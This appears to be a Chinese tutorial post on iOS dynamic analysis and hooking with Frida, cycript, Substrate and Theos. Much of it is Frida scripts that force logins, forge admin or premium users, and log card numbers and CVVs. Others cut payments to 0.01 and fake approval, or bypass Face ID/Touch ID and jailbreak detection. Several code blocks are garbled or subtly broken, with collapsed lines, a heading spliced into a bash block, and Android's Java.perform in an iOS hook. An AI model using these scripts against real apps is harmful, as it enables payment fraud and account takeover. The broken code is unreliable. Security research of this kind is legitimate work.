当前位置: 首页 > news >正文

iOS安全和逆向系列教程 第8篇:iOS应用动态分析与Hook技术

iOS安全和逆向系列教程 第8篇:iOS应用动态分析与Hook技术

作者:自学不成才

在前两篇文章中,我们深入探讨了Mach-O文件格式和静态分析方法。尽管静态分析能够提供应用结构的全景视图,但仍有许多问题无法仅通过静态分析解决,例如运行时行为、动态加载的代码和复杂的加密逻辑。这就是动态分析发挥作用的地方。本文将详细介绍iOS应用的动态分析技术和Hook方法,帮助您在应用运行时观察和修改其行为。

动态分析与静态分析的区别

动态分析的优势

相比静态分析,动态分析具有以下优势:

  1. 观察真实行为:直接观察应用在运行时的实际行为
  2. 绕过混淆:不受代码混淆和加密的影响
  3. 获取运行时状态:观察内存状态、对象值和执行流程
  4. 交互式分析:可以实时修改参数和返回值,测试不同场景
  5. 处理动态特性:能够分析反射、动态加载和JIT编译等技术

动态分析的局限性

动态分析也有其局限性:

  1. 覆盖率问题:只能分析执行到的代码
  2. 环境依赖:需要特定环境和条件
  3. 抗调试机制:应用可能检测调试行为并改变自身行为
  4. 操作繁琐:设置环境和工具较为复杂
  5. 时序性:时序相关的问题可能难以复现

动态分析环境搭建

越狱设备准备

最理想的动态分析环境是越狱的iOS设备:

  1. 设备选择

    • 推荐使用较旧的设备,如iPhone 8/X系列(A11芯片)
    • 确保设备可以越狱(通常iOS 14.3-14.8较为稳定)
  2. 越狱工具

    • Checkra1n:适用于A7-A11设备
    • Unc0ver:支持多个iOS版本
    • Taurine:iOS 14专用越狱工具
  3. 基本设置

    # 安装OpenSSH(越狱后必装)
    apt-get update
    apt-get install openssh# 修改默认密码(默认为alpine)
    passwd root
    passwd mobile
    

非越狱环境选项

如果无法获得越狱设备,可以考虑以下替代方案:

  1. 开发者模式

    • 需要Apple开发者账号
    • 使用Xcode和开发证书重签名并注入调试代码
  2. 模拟器

    • 使用Xcode iOS模拟器
    • 功能有限,无法完全模拟真实设备
  3. 特殊工具

    • Corellium:商业iOS虚拟化平台
    • iSEP:研究级iOS安全评估平台

动态分析工具介绍

调试工具

LLDB

LLDB是Xcode内置的强大调试器,也可以单独使用:

# 通过USB连接到已启动的应用进程
lldb -p $(ps ax | grep "AppName" | grep -v grep | awk '{print $1}')# 使用调试服务器(越狱设备)
debugserver *:1234 -a "AppName"
lldb
(lldb) platform select remote-ios
(lldb) process connect connect://device-ip:1234

常用LLDB命令:

  • breakpoint set --name "-[ClassName methodName:]":设置断点
  • po [object description]:打印对象描述
  • memory read --size 4 --format x --count 10 0x12345678:读取内存
  • expression [expression]:执行表达式
  • thread backtrace:显示调用栈
cycript

cycript是一个允许开发者在运行的应用中注入JavaScript代码的工具:

# 安装(越狱设备)
apt-get install cycript# 连接到进程
cycript -p ProcessName

常用cycript命令:

// 获取应用委托
var delegate = [UIApplication sharedApplication].delegate// 查看视图层次
UIApp.keyWindow.recursiveDescription().toString()// 查找所有的视图控制器
var controllers = []
var findControllers = function(view) {if (view.nextResponder instanceof UIViewController) {controllers.push(view.nextResponder);}for (var i = 0; i < view.subviews.count; i++) {findControllers(view.subviews[i]);}
}
findControllers(UIApp.keyWindow)
controllers

Hook框架

Frida

Frida是一款强大的动态插桩工具,支持多平台:

# 在电脑上安装Frida
pip install frida-tools# 在越狱设备上安装Frida服务器
# 1. 下载对应版本的frida-server
# 2. 将其传输到设备并设置权限
scp frida-server-x.y.z-ios-arm64 root@device-ip:/usr/sbin/frida-server
ssh root@device-ip "chmod +x /usr/sbin/frida-server"# 启动Frida服务器
ssh root@device-ip "/usr/sbin/frida-server &"# 列出设备上的应用
frida-ps -Ua# 附加到运行中的应用
frida -U AppName

基本Frida脚本示例:

// hook-example.js
Java.perform(function() {// 拦截Objective-C方法var LoginManager = ObjC.classes.LoginManager;Interceptor.attach(LoginManager["- validateCredentials:password:"].implementation, {onEnter: function(args) {// 'this' 是目标对象// args[0] 是 'self'// args[1] 是 selector// args[2]开始是实际参数var username = ObjC.Object(args[2]).toString();var password = ObjC.Object(args[3]).toString();console.log("[+] validateCredentials:password: called");console.log("    Username: " + username);console.log("    Password: " + password);// 保存参数供onLeave使用this.username = username;},onLeave: function(retval) {// retval是返回值console.log("[+] validateCredentials:password: returned: " + retval);// 修改返回值(强制返回true)retval.replace(0x1);console.log("[+] Return value replaced to true");}});
});

使用上述脚本:

frida -U -l hook-example.js AppName
Substrate (Cydia Substrate)

Substrate是越狱环境下的底层Hook框架:

// 基本使用示例
#import <substrate.h>// 定义原始方法指针
static BOOL (*original_validateCredentials)(id self, SEL _cmd, NSString *username, NSString *password);// 定义替换方法
static BOOL replaced_validateCredentials(id self, SEL _cmd, NSString *username, NSString *password) {NSLog(@"[HOOK] validateCredentials called with username: %@ and password: %@", username, password);// 调用原始方法BOOL result = original_validateCredentials(self, _cmd, username, password);NSLog(@"[HOOK] Original method returned: %d", result);// 修改返回值return YES;
}%ctor {// 获取目标类和方法Class targetClass = objc_getClass("LoginManager");SEL targetSelector = @selector(validateCredentials:password:);// 执行HookMSHookMessageEx(targetClass, targetSelector, (IMP)replaced_validateCredentials, (IMP*)&original_validateCredentials);
}

编译并加载Substrate扩展:

# 编译为dylib
clang -dynamiclib -framework Foundation -framework UIKit -I/opt/theos/include -L/opt/theos/lib -lsubstrate -o hook.dylib hook.m# 使用ldid签名(越狱环境)
ldid -S hook.dylib# 注入到目标应用
DYLD_INSERT_LIBRARIES=/path/to/hook.dylib /Applications/AppName.app/AppName
Theos & Logos

Theos是一个跨平台的iOS开发工具链,Logos是其内置的简化Hook语法:

# 安装Theos
git clone --recursive https://github.com/theos/theos.git $THEOS# 创建新Tweak
$THEOS/bin/nic.pl
# 选择"iphone/tweak"模板

使用Logos语法编写Hook代码:

// Tweak.x
%hook LoginManager- (BOOL)validateCredentials:(NSString *)username password:(NSString *)password {NSLog(@"[HOOK] validateCredentials called with username: %@ and password: %@", username, password);// 调用原始方法BOOL result = %orig;NSLog(@"[HOOK] Original method returned: %d", result);// 修改返回值return YES;
}%end

编译并安装Tweak:

make
make package
make install

网络分析工具

Charles Proxy

Charles是一个HTTP代理服务器,用于监控网络请求:

  1. 设置步骤

    • 在电脑上安装并运行Charles
    • 配置iOS设备使用Charles作为HTTP代理
    • 安装Charles SSL证书以监控HTTPS流量
  2. 主要功能

    • 查看请求和响应的完整内容
    • 修改请求和响应数据
    • 保存会话以供后续分析
    • 断点调试网络请求
Wireshark

Wireshark是深度网络分析工具:

  1. 使用方法

    • 通过USB网络接口捕获iOS设备流量
    • 使用适当的过滤器隔离目标应用流量
    • 分析底层协议和加密握手
  2. 优势

    • 低级协议分析能力
    • 可以观察加密前的原始数据

动态分析实战技巧

应用启动分析

观察应用启动过程是理解应用架构的好方法:

// Frida脚本:监控应用委托方法
Interceptor.attach(ObjC.classes.UIApplication["- application:didFinishLaunchingWithOptions:"].implementation, {onEnter: function(args) {console.log("[+] Application is launching...");},onLeave: function(retval) {console.log("[+] Application launched");// 打印关键对象var app = ObjC.classes.UIApplication.sharedApplication();var delegate = app.delegate();var windows = app.windows();var rootVC = app.keyWindow().rootViewController();console.log("[+] App Delegate: " + delegate.$className);console.log("[+] Window count: " + windows.count());console.log("[+] Root ViewController: " + rootVC.$className);}
});

用户界面分析

理解视图层次和控制器结构:

// Frida脚本:监控视图控制器生命周期
function monitorViewControllerLifecycle() {var viewDidLoad = ObjC.classes.UIViewController["- viewDidLoad"];var viewWillAppear = ObjC.classes.UIViewController["- viewWillAppear:"];var viewDidAppear = ObjC.classes.UIViewController["- viewDidAppear:"];Interceptor.attach(viewDidLoad.implementation, {onEnter: function(args) {var controller = ObjC.Object(args[0]);console.log("[+] viewDidLoad: " + controller.$className);}});Interceptor.attach(viewWillAppear.implementation, {onEnter: function(args) {var controller = ObjC.Object(args[0]);console.log("[+] viewWillAppear: " + controller.$className);}});Interceptor.attach(viewDidAppear.implementation, {onEnter: function(args) {var controller = ObjC.Object(args[0]);console.log("[+] viewDidAppear: " + controller.$className);// 打印视图层次var view = controller.view();console.log(view.recursiveDescription().toString());}});
}monitorViewControllerLifecycle();

网络请求分析

监控和修改网络请求是动态分析的关键部分:

// Frida脚本:监控NSURLSession请求
function monitorURLSession() {var NSURLSession = ObjC.classes.NSURLSession;var createTask = NSURLSession["- dataTaskWithRequest:completionHandler:"];Interceptor.attach(createTask.implementation, {onEnter: function(args) {var request = ObjC.Object(args[2]);var url = request.URL().absoluteString().toString();var method = request.HTTPMethod().toString();console.log("[+] NSURLSession Request: " + method + " " + url);// 打印请求头var headers = request.allHTTPHeaderFields();var headerKeys = headers.allKeys();for (var i = 0; i < headerKeys.count(); i++) {var key = headerKeys.objectAtIndex_(i);var value = headers.objectForKey_(key);console.log("    " + key + ": " + value);}// 打印请求体var body = request.HTTPBody();if (body) {console.log("[+] Body:");console.log(ObjC.classes.NSString.alloc().initWithData_encoding_(body, 4).toString());}// 修改请求(示例:添加自定义头)var mutableRequest = request.mutableCopy();mutableRequest.setValue_forHTTPHeaderField_("CustomValue", "X-Custom-Header");args[2] = mutableRequest;}});// 监听响应var NSURLResponse = ObjC.classes.NSURLResponse;
}monitorURLSession();

加密逻辑分析

分析和修改加密逻辑,是攻破应用安全措施的关键:

// Frida脚本:监控常见加密API
function monitorCryptoAPIs() {// 监控CommonCryptovar CommonCrypto = Module.findExportByName(null, "CCCrypt");if (CommonCrypto) {Interceptor.attach(CommonCrypto, {onEnter: function(args) {// CCCrypt参数解析var op = args[0].toInt32(); // 0 = kCCEncrypt, 1 = kCCDecryptvar alg = args[1].toInt32(); // 加密算法var options = args[2].toInt32(); // 选项// 保存上下文信息this.op = op;this.dataIn = args[4]; // 输入数据this.dataInLength = args[5].toInt32(); // 输入长度this.dataOut = args[6]; // 输出缓冲区console.log("[+] CCCrypt called: " + (op === 0 ? "Encrypt" : "Decrypt"));console.log("    Algorithm: " + alg);console.log("    Input length: " + this.dataInLength);// 打印密钥(通常是第4个参数)var keyData = Memory.readByteArray(args[3], args[7].toInt32());console.log("    Key: " + hexdump(keyData));// 打印输入数据if (this.dataInLength > 0) {var inputData = Memory.readByteArray(this.dataIn, Math.min(this.dataInLength, 64));console.log("    Input data: " + hexdump(inputData));}},onLeave: function(retval) {// 打印操作结果console.log("[+] CCCrypt returned: " + retval);// 打印加密/解密结果if (this.op === 1) { // 如果是解密var outputData = Memory.readByteArray(this.dataOut, Math.min(this.dataInLength, 64));console.log("    Decrypted data: " + hexdump(outputData));// 尝试作为字符串打印try {var str = Memory.readUtf8String(this.dataOut);if (str && str.length > 0) {console.log("    As string: " + str);}} catch (e) {// 忽略非字符串数据}}}});}// 监控其他加密API...
}monitorCryptoAPIs();

本地存储分析

监控应用的数据持久化操作:

// Frida脚本:监控UserDefaults操作
function monitorUserDefaults() {var NSUserDefaults = ObjC.classes.NSUserDefaults;// 监控写入操作var setObject = NSUserDefaults["- setObject:forKey:"];Interceptor.attach(setObject.implementation, {onEnter: function(args) {var object = ObjC.Object(args[2]);var key = ObjC.Object(args[3]).toString();console.log("[+] NSUserDefaults setObject:forKey:");console.log("    Key: " + key);console.log("    Value: " + object.toString());}});// 监控读取操作var objectForKey = NSUserDefaults["- objectForKey:"];Interceptor.attach(objectForKey.implementation, {onEnter: function(args) {var key = ObjC.Object(args[2]).toString();this.key = key;console.log("[+] NSUserDefaults objectForKey:");console.log("    Key: " + key);},onLeave: function(retval) {var object = ObjC.Object(retval);console.log("    Value for key '" + this.key + "': " + object);}});
}monitorUserDefaults();

认证流程分析

破解认证流程是逆向工程中常见的任务:

// Frida脚本:模拟登录过程
function bypassAuthentication() {// 假设我们已经找到了认证管理器类var AuthManager = ObjC.classes.AuthManager;// 创建伪造的用户对象var createFakeUser = function() {var User = ObjC.classes.User;var user = User.alloc().init();user.setValue_forKey_("admin", "username");user.setValue_forKey_("YES", "isLoggedIn");user.setValue_forKey_("YES", "isPremium");return user;};// 替换当前用户Interceptor.attach(AuthManager["- currentUser"].implementation, {onLeave: function(retval) {if (retval.isNull()) {console.log("[+] Replacing null user with fake admin user");retval.replace(createFakeUser());}}});// 始终让登录成功Interceptor.attach(AuthManager["- loginWithUsername:password:completion:"].implementation, {onEnter: function(args) {var username = ObjC.Object(args[2]).toString();var password = ObjC.Object(args[3]).toString();var completion = args[4];console.log("[+] Login attempt:");console.log("    Username: " + username);console.log("    Password: " + password);// 拦截回调并强制成功var origBlock = new ObjC.Block(completion);var newBlock = function(success, error) {console.log("[+] Forcing login success");var fakeUser = createFakeUser();origBlock(true, null, fakeUser);};// 替换回调args[4] = newBlock;}});
}bypassAuthentication();

高级动态分析技术

内存dump和分析

从内存中提取敏感信息:

// Frida脚本:内存dump和分析
function dumpAppMemory() {// 获取所有内存范围Process.enumerateRanges('r--').forEach(function(range) {// 查找可能的密码模式var pattern = /password.*?=.*?["'](.*?)["']/i;var data = Memory.readUtf8String(range.base, range.size);var match = data.match(pattern);if (match) {console.log("[+] Potential password found at " + range.base);console.log("    " + match[0]);}});
}// 搜索特定内存区域
function searchMemoryForPattern(pattern) {var ranges = Process.enumerateRanges('r--');for (var i = 0; i < ranges.length; i++) {var range = ranges[i];Memory.scan(range.base, range.size, pattern, {onMatch: function(address, size) {console.log('[+] Pattern found at: ' + address.toString());// 读取周围内存var buf = Memory.readByteArray(address.sub(32), 64);console.log(hexdump(buf, {offset: 0, length: 64, header: true, ansi: true}));},onError: function(reason) {console.log('[!] Memory scan error: ' + reason);},onComplete: function() {console.log('[+] Memory scan complete');}});}
}// 使用示例
// searchMemoryForPattern('12 34 56 78');

方法跟踪和调用栈分析

追踪完整的方法调用链:

// Frida脚本:方法跟踪
function traceClass(targetClass) {var methods = ObjC.classes[targetClass].$ownMethods;methods.forEach(function(method) {var implementation = ObjC.classes[targetClass][method].implementation;Interceptor.attach(implementation, {onEnter: function(args) {var methodName = method;// 打印调用栈console.log("↪ " + targetClass + " " + methodName);console.log(Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\n"));}});});console.log("[+] Tracing " + methods.length + " methods in " + targetClass);
}// 使用示例
// traceClass("AuthManager");

自动化UI交互

自动执行UI操作,测试不同路径:

// Frida脚本:自动化UI交互
function autoLogin() {// 获取当前视图控制器var getTopViewController = function() {var app = ObjC.classes.UIApplication.sharedApplication();var rootVC = app.keyWindow().rootViewController();var topVC = rootVC;while (topVC.presentedViewController()) {topVC = topVC.presentedViewController();}return topVC;};// 查找登录按钮并点击var findAndClickLoginButton = function() {var topVC = getTopViewController();console.log("[+] Top ViewController: " + topVC.$className);// 假设我们知道按钮的标签var view = topVC.view();var subviews = view.subviews();for (var i = 0; i < subviews.count(); i++) {var subview = subviews.objectAtIndex_(i);if (subview.$className === "UIButton") {var title = subview.titleForState_(0); // UIControlStateNormalif (title.toString().toLowerCase().includes("login")) {console.log("[+] Found login button, clicking...");subview.sendActionsForControlEvents_(1 << 6); // UIControlEventTouchUpInsidereturn true;}}}return false;};// 查找文本字段并输入var findTextFieldAndTypeText = function(placeholder, text) {var topVC = getTopViewController();var view = topVC.view();var subviews = view.subviews();var findTextField = function(view, placeholder) {if (view.$className === "UITextField") {var field = view;if (field.placeholder().toString().toLowerCase().includes(placeholder.toLowerCase())) {return field;}}var subviews = view.subviews();for (var i = 0; i < subviews.count(); i++) {var result = findTextField(subviews.objectAtIndex_(i), placeholder);if (result) {return result;}}return null;};var textField = findTextField(view, placeholder);if (textField) {console.log("[+] Found text field with placeholder: " + placeholder);textField.setText_(text);return true;}return false;};// 执行自动登录setTimeout(function() {console.log("[+] Starting automated login...");if (findTextFieldAndTypeText("username", "admin")) {console.log("[+] Username entered");}if (findTextFieldAndTypeText("password", "password123")) {console.log("[+] Password entered");}setTimeout(function() {if (findAndClickLoginButton()) {console.log("[+] Login button clicked");}}, 500);}, 1000);
}// 使用示例
// autoLogin();

反调试检测绕过

许多应用实现了反调试措施,我们需要绕过它们:

// Frida脚本:绕过反调试检测
function bypassJailbreakDetection() {// 常见的越狱检测文件路径var jailbreakPaths = ["/Applications/Cydia.app","/Library/MobileSubstrate/MobileSubstrate.dylib","/bin/bash","/usr/sbin/sshd","/etc/apt"];// Hook NSFileManager的文件存在检查var NSFileManager = ObjC.classes.NSFileManager;Interceptor.attach(NSFileManager["- fileExistsAtPath:"].implementation, {onEnter: function(args) {var path = ObjC.Object(args[2]).toString();this.path = path;// 检查是否是越狱检测路径if (jailbreakPaths.indexOf(path) >= 0) {console.log("[!] Jailbreak detection: " + path);}},onLeave: function(retval) {// 如果检测到越狱文件,返回falseif (jailbreakPaths.indexOf(this.path) >= 0) {console.log("[+] Bypassing jailbreak detection");retval.replace(0x0); // 返回false}}});// Hook fork检测var fork = Module.findExportByName(null, "fork");if (fork) {Interceptor.attach(fork, {onLeave: function(retval) {console.log("[!] Fork detected, returning -1");retval.replace(-1); // 模拟fork失败}});}// 更多反调试检测绕过...
}// 使用示例
// bypassJailbreakDetection();

实战案例:分析支付应用

让我们通过一个完整的实战案例,演示如何对一个假设的支付应用进行动态分析。

1. 准备环境

首先,我们需要设置分析环境:

# 启动Frida服务器
ssh root@device-ip "/usr/sbin/frida-server &"### 1. 准备环境(续)```bash
# 列出设备上安装的应用
frida-ps -Ua# 找到目标应用(假设为"SecurePay")
frida -U SecurePay

2. 基本功能分析

首先,我们编写一个Frida脚本来分析应用的基本结构:

// secure-pay-analysis.js
function analyzeAppStructure() {// 1. 分析应用委托和主要类var app = ObjC.classes.UIApplication.sharedApplication();var delegate = app.delegate();console.log("[+] App Delegate: " + delegate.$className);console.log("[+] App Bundle ID: " + NSBundle.mainBundle().bundleIdentifier().toString());// 2. 列出所有自定义类console.log("\n[+] Custom Classes:");var count = 0;for (var className in ObjC.classes) {if (className.indexOf("SecurePay") !== -1) {console.log("    " + className);count++;}}console.log("    Total: " + count + " classes found");// 3. 分析视图控制器var allViewControllers = [];for (var className in ObjC.classes) {if (className.indexOf("ViewController") !== -1 && className.indexOf("SecurePay") !== -1) {allViewControllers.push(className);}}console.log("\n[+] Found " + allViewControllers.length + " view controllers:");allViewControllers.forEach(function(vc) {console.log("    " + vc);});
}analyzeAppStructure();

使用该脚本的输出,我们可以了解应用的基本结构和主要组件。

3. 追踪支付流程

接下来,我们分析支付流程,追踪从用户输入到网络请求的整个过程:

// secure-pay-flow.js
function tracePaymentFlow() {// 1. 监控支付按钮点击var PaymentViewController = ObjC.classes.SecurePayPaymentViewController;var paymentButtonMethod = PaymentViewController["- paymentButtonTapped:"];Interceptor.attach(paymentButtonMethod.implementation, {onEnter: function(args) {console.log("\n[+] Payment button tapped");// 打印当前视图控制器的状态var self = ObjC.Object(args[0]);var amountField = self.amountTextField();var cardField = self.cardNumberTextField();console.log("    Amount: " + amountField.text());console.log("    Card Number: " + cardField.text());}});// 2. 监控支付处理方法var PaymentManager = ObjC.classes.SecurePayPaymentManager;var processPaymentMethod = PaymentManager["- processPaymentWithCard:amount:completion:"];Interceptor.attach(processPaymentMethod.implementation, {onEnter: function(args) {var cardInfo = ObjC.Object(args[2]);var amount = ObjC.Object(args[3]).doubleValue();console.log("\n[+] Processing payment:");console.log("    Card: " + cardInfo.cardNumber());console.log("    Expiry: " + cardInfo.expiryDate());console.log("    CVV: " + cardInfo.securityCode());console.log("    Amount: " + amount);// 保存回调块以便稍后使用this.completionBlock = args[4];}});// 3. 监控加密方法var CryptoService = ObjC.classes.SecurePayCryptoService;var encryptMethod = CryptoService["- encryptCardData:withKey:"];Interceptor.attach(encryptMethod.implementation, {onEnter: function(args) {var cardData = ObjC.Object(args[2]);var encryptionKey = ObjC.Object(args[3]);console.log("\n[+] Encrypting card data:");console.log("    Card data: " + cardData.toString());console.log("    Encryption key: " + encryptionKey.toString());},onLeave: function(retval) {var encryptedData = ObjC.Object(retval);console.log("    Encrypted result: " + encryptedData.toString());}});// 4. 监控网络请求var NetworkService = ObjC.classes.SecurePayNetworkService;var sendRequestMethod = NetworkService["- sendPaymentRequest:completion:"];Interceptor.attach(sendRequestMethod.implementation, {onEnter: function(args) {var request = ObjC.Object(args[2]);console.log("\n[+] Sending payment request:");console.log("    URL: " + request.URL().absoluteString());console.log("    Method: " + request.HTTPMethod());var headers = request.allHTTPHeaderFields();var headerKeys = headers.allKeys();console.log("    Headers:");for (var i = 0; i < headerKeys.count(); i++) {var key = headerKeys.objectAtIndex_(i);var value = headers.objectForKey_(key);console.log("      " + key + ": " + value);}var body = request.HTTPBody();if (body) {var bodyString = ObjC.classes.NSString.alloc().initWithData_encoding_(body, 4).toString();console.log("    Body: " + bodyString);}}});console.log("[+] Payment flow tracing enabled. Perform a payment transaction...");
}tracePaymentFlow();

4. 修改支付行为

分析完成后,我们可以修改应用行为,例如篡改支付金额:

// secure-pay-modify.js
function modifyPaymentProcess() {// 修改支付金额var PaymentManager = ObjC.classes.SecurePayPaymentManager;var processPaymentMethod = PaymentManager["- processPaymentWithCard:amount:completion:"];Interceptor.attach(processPaymentMethod.implementation, {onEnter: function(args) {var cardInfo = ObjC.Object(args[2]);var originalAmount = ObjC.Object(args[3]).doubleValue();console.log("\n[+] Original payment amount: " + originalAmount);// 创建修改后的金额对象(例如,改为0.01)var NSNumber = ObjC.classes.NSNumber;var modifiedAmount = NSNumber.numberWithDouble_(0.01);console.log("[+] Modified payment amount: 0.01");// 替换参数args[3] = modifiedAmount;}});// 强制支付成功var NetworkService = ObjC.classes.SecurePayNetworkService;var handleResponseMethod = NetworkService["- handlePaymentResponse:error:forRequest:completion:"];Interceptor.attach(handleResponseMethod.implementation, {onEnter: function(args) {var response = ObjC.Object(args[2]);var error = ObjC.Object(args[3]);var completion = args[5];console.log("\n[+] Payment response received:");if (!response.isNull()) {console.log("    Response: " + response.toString());}if (!error.isNull()) {console.log("    Error: " + error.toString());// 创建成功响应var successResponse = ObjC.classes.NSDictionary.dictionaryWithObjectsAndKeys_("approved", "status","12345", "transactionId","Transaction approved", "message",null);// 替换参数,移除错误args[2] = successResponse;args[3] = ObjC.classes.NSNull.null();console.log("[+] Forced successful payment response");}}});console.log("[+] Payment modification active. Any payment will cost only $0.01 and always succeed.");
}modifyPaymentProcess();

5. 绕过生物识别认证

如果应用使用TouchID/FaceID进行支付确认,我们可以绕过它:

// secure-pay-biometric-bypass.js
function bypassBiometricAuthentication() {// 监控LocalAuthentication框架var LAContext = ObjC.classes.LAContext;var evaluatePolicy = LAContext["- evaluatePolicy:localizedReason:reply:"];Interceptor.attach(evaluatePolicy.implementation, {onEnter: function(args) {var reason = ObjC.Object(args[3]);console.log("\n[+] Biometric authentication requested:");console.log("    Reason: " + reason.toString());// 保存原始回调var originalBlock = new ObjC.Block(args[4]);// 创建新回调,始终返回成功var replacementBlock = function(success, error) {console.log("[+] Bypassing biometric authentication, forcing success");originalBlock(true, null);};// 替换回调参数args[4] = replacementBlock;}});console.log("[+] Biometric authentication bypass active");
}bypassBiometricAuthentication();

6. 分析结果与安全问题

通过上述分析,我们可能发现以下安全问题:

  1. 明文存储敏感信息:应用可能在内存中明文存储信用卡信息
  2. 弱加密:使用可预测或硬编码的加密密钥
  3. 缺乏完整性检查:没有验证支付请求是否被篡改
  4. 服务器端验证不足:仅依赖客户端验证金额和交易信息
  5. 生物认证绕过:生物认证可以被客户端修改绕过

动态分析的最佳实践

组织和记录

良好的组织和记录对动态分析至关重要:

  1. 创建分析计划

    • 确定分析目标和范围
    • 列出要研究的关键功能
    • 准备测试数据和场景
  2. 详细记录

    • 记录所有发现和观察结果
    • 保存重要的代码片段和修改
    • 截图记录关键UI状态和流程
  3. 标准化工作流

    • 建立一套一致的分析步骤
    • 创建可重用的脚本模板
    • 维护工具和环境配置

组合静态和动态分析

静态和动态分析互为补充:

  1. 先静态后动态

    • 先通过静态分析了解应用结构
    • 确定关键函数和逻辑点
    • 使用动态分析验证假设和理论
  2. 迭代分析

    • 动态发现影响静态理解
    • 静态分析帮助定位新的动态分析目标
    • 不断迭代优化理解
  3. 结果交叉验证

    • 使用静态分析验证动态观察
    • 使用动态结果指导静态分析深度

法律和伦理考虑

在进行应用分析时,务必注意法律和伦理界限:

  1. 遵守法律

    • 只分析自己有权分析的应用
    • 不对生产环境的应用进行测试
    • 不发布破解工具或侵犯知识产权的内容
  2. 负责任披露

    • 发现安全漏洞时,遵循负责任的披露原则
    • 私下联系开发者,给予修复时间
    • 明确披露目的是提高安全性
  3. 教育目的

    • 将分析结果用于教育和学习
    • 不利用漏洞进行非法活动
    • 帮助提高整体移动应用安全性

总结

动态分析和Hook技术是iOS逆向工程中强大的武器,它们允许我们在应用运行时观察、修改和控制其行为。通过本文介绍的工具和技术,您可以:

  • 设置动态分析环境
  • 使用Frida、cycript等工具进行运行时分析
  • 监控和修改应用的关键行为
  • 绕过安全控制和限制
  • 了解应用的真实运行逻辑

掌握这些技术需要时间和实践,但它们提供了静态分析无法企及的洞察力。通过综合运用静态和动态分析,您可以全面理解iOS应用的内部工作原理,发现安全漏洞,或者满足合法的功能修改需求。

在下一篇文章中,我们将深入探讨iOS应用保护技术和防护措施,包括代码混淆、反调试、完整性校验等,以及如何应对这些保护机制。


版权声明:
本文仅供学术研究和技术探讨使用。在实践中应用本文技术时,请遵守相关法律法规和道德准则。作者不对读者使用本文内容产生的任何后果负责。未经授权,请勿转载或用于商业用途。

作者:自学不成才
本文为iOS逆向工程专栏的第8篇文章,版权所有,未经许可请勿转载。


http://www.mrgr.cn/news/93207.html

相关文章:

  • iOS安全和逆向系列教程 第2篇: iOS系统架构详解 - 逆向工程的基石
  • iOS安全和逆向系列教程 第3篇:搭建iOS逆向开发环境 (上) - 工具链与基础配置
  • iOS安全和逆向系列教程 第5篇 iOS基础开发知识速览 - 理解你要逆向的目标
  • Django项目实战
  • C语音的常见概念
  • Leetcode 刷题记录 01 —— 哈希
  • 一键安装Nginx部署脚本之Linux在线安装Nginx,脚本化自动化执行服务器部署(附执行脚本下载)
  • C语言-----扫雷游戏
  • Docker新手入门(持续更新中)
  • python:pymunk + pygame 模拟六边形中小球弹跳运动
  • 【蓝桥杯单片机】第十二届省赛
  • 【STM32】玩转IIC之驱动MPU6050及姿态解算
  • centos和ubuntu下安装redis
  • OpenGL ES -> GLSurfaceView纹理贴图
  • 大模型学习--微调
  • sqlite3 c++ client选择; c++环境搭建 : abseil-cpp | fnc12/sqlite_orm
  • C语言---猜数字游戏
  • printf 与前置++、后置++、前置--、后置-- 的关系
  • vue3:初学 vue-router 路由配置
  • 【leetcode hot 100 189】轮转数组